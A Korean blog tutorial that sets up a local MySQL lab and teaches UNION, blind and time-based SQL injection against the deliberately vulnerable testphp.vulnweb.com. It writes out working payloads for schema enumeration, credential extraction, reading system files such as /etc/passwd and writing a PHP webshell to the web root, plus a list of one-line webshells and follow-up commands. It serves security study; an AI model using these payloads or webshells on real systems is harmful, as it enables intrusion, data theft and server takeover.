[목차]

 

 

 

1. 테스트 환경 세팅

2. 테이블 및 데이터 생성

3, Union 쿼리 사용법

4. 실습

 

 

 


 

 

 

[테스트 환경 세팅]

 

 

 

1. 실습 설명

직접 DB를 설치하여 SQL 쿼리가 어떤식으로 요청되는지 확인해 보자.

 

 

2. 준비 사항

APM(Apache + PHP + MYSQL) 설치

MySQL 쿼리분석기 설치

 

 

3. 사용시스템

window7(MySQL(Test Target))

MySQL 퀄리분석기(Test Tool)

 

 

4. 작업 과정

windows 7에 APM 설치하기

windows 7에 MySQL 쿼리분석기 설치하기

 

① APM(Apache, PHP, MySQL) 설치

소프트웨어 알아서 구하기

기본값으로 설치

 

② MySQL 쿼리분석기 설치

소프트웨어 다운로드

https://downloads.mysql.com/archives/gui/

파일이름: mysql-gui-tools-5.0-r17-win32.msi

받은 후 기본값으로 설치

 

③ MySQL 쿼리분석기 실행 및 MySQL에 접속하기

 

시작 > 모든 프로그램 > MySQL > MySQL Query Browser

Stored Connection : MySQL1

Server Host : 127.0.0.1 /* MySQL의 IP 입력 */

Port : 3306 /* MySQL의 Port */

Username : root /* 기본 관리자 계정은 root */

Password : apmsetup /* 기본 관리자 계정 암호는 apmsetup */

Default Schema: WebHacking /* 임의의 이름(임의 DB를 생성하는 이름을 입력) */

 

 

 


 

 

 

[테이블 및 데이터 생성]

 

 

 

1. 테이블 생성

create table test (

id int,

name varchar(10),

passwd varchar(10)

);

 

 

2. 생성된 테이블 확인

select * from test;

 

 

3. 테이블 데이터 입력

create table test (id int,name varchar(10),passwd varchar(10));

insert into test (id, name, passwd) values(1, "chulsu", "123456");

insert into test (id, name, passwd) values(2, "gildong", "happy");

insert into test (id, name, passwd) values(3, "shadow", "test1234");

 

* 잘못된 정보가 등록된 경우에는 drop table 을 사용하여 지우고 다시 생성한다.

drop table test;

 

*생성된 테이블 항목 확인

select * from test;

 

 

4. 다른 명령어를 사용하여 정보를 확인

 

select 1;

select 1, 2, 3;

select user();

 

select * from test where id=1

select * from test where id=1 or 1

select * from test where id=1 or 1=1

 

 

 


 

 

 

[UNION 쿼리 사용법]

 

 

 

1. union 쿼리 (두개 이상의 쿼리를 이용하는 Union SQL Injection)

union 쿼리는 2가지 유형 (union select / union all select) 이 있다.

union 쿼리 사용시 주의 사항은 반드시 필드의 개수 및 필드의 자료형이 동일해야 한다.

 

 

 

2. union 쿼리 구문을 사용하기 전에 필드개수 파악하기

(ㄱ) order by 사용하는 경우필드의 개수를 파악하기 위해서

아래와 같이 order by(데이터 정렬)를 사용하여 확인한다.

select * from test order by 1;

 

(ㄴ) null 값을 사용하는 경우union을 사용하기 때문에

삽입한 null 개수가 필드의 수와 일치하지 않는 경우에 에러가 발생하는 점을 이용한다.

select * from test where id=1 union all select null;

 

 

 

3. order by 사용하여 컬럼의 개수를 확인 하는 방법

 

select * from test order by 1;

-> 에러없음(정렬된다.)

select * from test order by 2;

-> 에러없음(정렬된다.)

select * from test order by 3;

-> 에러없음(정렬된다.)

 

select * from test order by 4;

-> 에러발생

-> 왼쪽 하단 부분에 에러 메세지 "Unknown column '4' in 'order clause' 표시된다.

-> 따라서, 필드가 3개라는 것을 확인할 수 있다.

 

 

 

4. null 값을 사용하여 컬럼의 개수를 확인하는 방법

select * from test where id=1 union all select null;

-> 에러 발생

-> 왼쪽 하단 부분에 "The used SELECT statement have a different number of columns" 표시된다.

 

select * from test where id=1 union all select null, null;

-> 에러 발생

 

select * from test where id=1 union all select null, null, null;

-> 에러 없음

-> 따라서 null 3개인 경우에 에러가 없으므로 컬럼이 3개라는 것을 확인 할 수 있다.

 

 

 

5. 버전 정보 확인

버전 정보를 확인하기 위해 union 쿼리와 null 값 3개 중에 @@version / version() 함수를 삽입한다.

 

select * from test where id=1 union all select @@version,null,null#;

-> MySQL 5.1.41-community 버전이라는 것을 확인할 수 있다.

 

 

 

6. 데이터베이스 정보 확인

information_schema.schemata는 데이터베이스와 관련된 정보를 가지고 있으며,

이중에서 필드 shema_name을 사용하면 전체 데이터베이스 이름을 추출할 수 있다.

 

select * from test where id=1

union all

select null,null, schema_name from information_schema.schemata;

 

 

 

 

7. 테이블 이름 확인

information_schema.tables는 테이블 관련 모든 정보를 가지고 있으며,

table_name 필드 사용시 테이블 이름을 추출할 수 있다.

 

select * from test where id=1

UNION

SELECT null,null,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

 

 

WHERE 조건절의 version은 MySQL 버전을 의미한다.

- 10은 MySQL 버전이 5인 경우이다.- 9는 MySQL 버전이 4인 경우이다.

정상적으로 충력이 정상적으로 되기 때문에 MySQL 10 버전이라는 것을 확인할 수 있다.

 

 

 

8. 필드 이름 확인

user_privileges의 필드 값을 추출해 보자.

 

information_schema.columns에는 필드(컬럼)의 정보를 포함하고 있으며

해당 필드 중 colum_name을 통해 필드 정보를 추출할 수 있다.

 

select * from test where id=1

UNION

SELECT null, null, column_name FROM

information_schema.columns WHERE table_name = 'user_privileges';

 

 

 

 

 

9. 파일 읽기

 

데이버베이스 load_file() 함수를 통해 시스템 파일을 읽는 방법을 사용해 보자.

 

아파치 웹서버의 웹페이지(EX: index.php)의 경로를 확인한다.

-> C:\APM_Setup\htdocs\index.php

 

다음과 같이 접근하고자 하는 파일의 물리적인 위치를 적어 준다.

테스트는 "윈도우 시스템 예"를 가지고 작업한다.

 

(윈도우 시스템의 예)

select * from test where id=1

UNION

SELECT null, null, load_file('C:\\APM_Setup\\htdocs\\index.php');

 

 

(유닉스 시스템 예)

select * from test where id=1

UNION

SELECT null, null, load_file('etc/passwd');

 

 

 

 

 

10. 파일쓰기

 

into_outfile() 함수를 이용하여 웹서버에 파일(sec.txt)을 생성해 보자.

 

select * from test where id=1

UNION ALL

SELECT 'your homepage belongs to me', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\sec.txt';

 

 

정상적으로 동작하는지 여부는

http://127.0.0.1/sec.txt 에 접속해 확인

 

 

 

 

11. 웹셀 만들기

 

"한 줄 웹셀(One Line WebShell, Single Line WebShell)"

구문을 인터넷을 통해 확인하고 정리해 보자

 

 

PHP :

<?php system($_GET[\'cmd\']); ?>

<?php @eval($_GET[\'cmd\']); ?>

<?php shell_exec($_GET[\'cmd\']); ?>

<?php echo passthru($_GET[\'cmd\']); ?>

 

ASP :

<% eval request("cmd") %>

 

ASP.NET :

<% @ Page Language="Jscript" %> <%eval(Request.Item["cmd"],"unsafe"); %>

JSP : <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

 

 

참고 : 이글루시큐리티 보안 정보

webshell 분류 및 대응 방안

http://www.igloosec.co.kr/BLOG_Webshell%20%EB%B6%84%EB%A5%98%20%EB%B0%8F%20%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88?searchItem=&searchWord=&bbsCateId=51&gotoPage=1

 

 

 

 

* 사용 예

 

select * from test where id=1

union all

SELECT '<? system($_GET[\'input\']); ?>', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\hack.php';

 

 

위 상태로 브라우저를 열면

출력 화면이 보기 좋지 않게 나온다.

 

 

그래서 <pre></pre>로 묶어 주면 보기 좋게 출력된다.

 

 

select * from test where id=1

union all

SELECT '<pre><? system($_GET[\'input\']); ?></pre>', null, null INTO OUTFILE

'C:\\APM_Setup\\htdocs\\hack.php';

 

 

 

 

C:\APM_Setup\htdocs 디렉토리에 생성된

webshell.php 파일 확인 후

웹브라우저에서 확인

http://127.0.0.1/hack.php?input=ipconfig

 

 

 

 

* 윈도우에서 정보 확인을 위한 커맨드를 알고 있야 한다.

http://127.0.0.1/webshell.php?cmd=dir

http://127.0.0.1/webshell.php?cmd=hostname

http://127.0.0.1/webshell.php?cmd=arp -a

http://127.0.0.1/webshell.php?cmd=tasklikst /m

http://127.0.0.1/webshell.php?cmd=net user

 

 


 

 

 

 

[실습]

 

 

MySQL DB 공격을 통한 데이터베이스 정보 추출

 

 

1.실습 설명

testphp.vulnweb.com 사이트(WEB-MySQL)를

대상으로 테스트를 해보자.

 

 

2. 사용시스템

http://testphp.vulnweb.com(Test Target)

- windows 7(웹브라우저)

 

 

3. 실습

① 특수문자 삽입(')을 통해 에러 유출 유무 확인

아래와 같이 웹브라우저에 입력한다.

http://testphp.vulnweb.com/listproducts.php?cat=1'

 

다음과 같은 경우

(ㄱ) 특수 문자등이 차단되거나

(ㄴ) 에러가 발생되지 않는 경우는

error-based 공격기법으로 정보를 알아낼수 없다.

 

따라서 Blind 타입 공격을 통해 취약점을 확인해야 한다.

(ㄱ) 첫번째는 원래 URL 정보이며, 정상적인 쿼리 결과를 제공한다.

(ㄴ) 두번째는 거짓조건 and 1=0을 삽입한 경우, 쿼리가 수행되지 않기 때문에 화면에 정보가 출력되지 않는다.

(ㄷ) 세번째는 참조건인 and 1=1을 삽입한 경우, 쿼리가 수행되어 결과가 출력된다.

 

(첫번째) 원래 URL 정보 입력(정상적인 쿼리 결과 제공)

http://testphp.vulnweb.com/listproducts.php?cat=1

(두번째) 거짓조건 and 1=0을 삽입한 경우(쿼리가 수행되지 않기 때문에 화면에 정보가 출력 않됨)

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0

(세번째) 참조건인 and 1=1을 삽입한 경우(쿼리가 수행되어 결과가 출력)

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1

 

에러가 발생되지 않는 사이트에 대해서 사용할 수 있는 다른 기법으로

time delay SQL Injection을 진행할 수도 있다.

 

time delay는 특정 시간만큼 쿼리 결과를 늦게 출력되도록 만드는 명령어이다.

만약 5초 이후에 쿼리 결과를 확인할 수 있다면 취약점이 있다고 판단할 수 있다.

 

[참고] DBMS 별 time delay 명령어 MS SQL : waitfor delay MySQL : 4버전에서는 benchmark(), 5버전에서는 sleep() Oracle : BEGIN DBMS_LOCK.SLEEP(5); END

 

해당 쿼리 삽입 후 5초 후에 쿼리 결과가 보인다면 sleep() 함수 사용이 가능하다는 것을 짐작할 수 있기 때문에 데이터 베이스가 MySQL이라고 추측할 수 있다.

 

아래와 같이 입력하면 5초뒤에 페이지가 보인다는 것을 확인할 수 있다.

http://testphp.vulnweb.com/listproducts.php?cat=1 and sleep(5)

 

 

 

 

② union 쿼리를 사용하기 위해 필드 개수를 확인

 

(NULL 1일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL

(..중략..)

(NULL 11개일때) 에러 없음

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL

 

 

 

 

③ 데이터베이스 계정 추출(사용자 정보)하기

 

11개의 필드 확인

null 필드 대신 user(), version() 함수를 넣는다.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, @@version#

 

 

* 참고

UNION 쿼리 대신 그룹키 에러를 통한 정보 획득 방법도 있고

기타 다양한 패턴등이 존재하므로 검색을 통해 공부해보자

 

 

 

④ 또 다른 방법을 통해 정보를 확인해 본다.

NULL 패턴 대신, 일련 번호 1부터 11까지 대입해 본다.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#

 

 

전제 필드 중 3개의 필드(7, 2, 9)만 사용이 가능하다는 것을 알수 있다.

 

version 및 user() 함수를 이용해 DBMS 버전 확인

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,user(),8,9,10,version()#

 

 

 

 

 

⑤ 사용자 계정과 암호를 확인하기

사용자 계정과 암호가 들어 있을만 한 테이블과 필드를 찾는다.

 

테이블 정보가 포함된 information_schema.tables를 사용하고

필드는 table_name,

where 조건절에는 현재 데이터베이스를 선택한다.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select 1, 2,3,4,5,6,7,8,9,10,

group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 

-> 출력 결과

"artists,carts,categ,featured,guestbook,pictures,products,users" 중

users 테이블에 사용자 정보가 들어 있을 가능성이 높다.

 

 

 

 

컬럼 정보(column_name)를 가지고 있는 information_schema.columns을

from 절에서 사용하고, where 조건절에는 users 테이블을 넣어서 실행한다.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0

union select 1, 2,3,4,5,6,7,8,9,10,

group_concat(column_name), from information_schema.columns

where table_name='users'#

 

 

-> 출력된 정보 중 사용자 이름은 uname 필드에 암호는 pass 필드에 들어 있을 것으로 추정된다.

 

 

 

 

사용자 계정을 포함하고 있을 것으로 추정되는 uname을 select 한다.

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0

union select 1, 2,3,4,5,6,7,8,9,10, uname from users#

 

 

-> 사용자 계정이 'test'라는 것을 확인했다.

 

 

 

 

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0

union select 1, 2,3,4,5,6,7,8,9,10, pass from users#

 

-> test 사용자의 암호 또한 'test'라는 것을 알 수 있다.

 

 

 

서비스 중지

끌때는 웹서버 먼저 끄고 DB 끈다.

킬때는 DB먼저 키고 웹서버 킨다.

 

 

 

 

 

(정리)

1. 필드 확인

union all select 1~~~ #

 

2. DB 종류 및 버전 확인

version() / @@version

 

3. DB 이름 확인

?cat=1 and 1=0 union select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#

 

4. Table 이름 확인

?cat=1 and 1=0 union select 1, group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#

 

5. Column 이름 확인

?cat=1 and 1=0 union select 1, uname,3,4,5,6,7,8,9,10,11 from users#

 

6.Column 내용 확인

?cat=1 and 1=0 union select 1, pass,3,4,5,6,7,8,9,10,11 from users#

 

 

 

하나씩 대입하기 번거로우니 프로그램으로 만든다.

 

 

728x90
반응형

+ Recent posts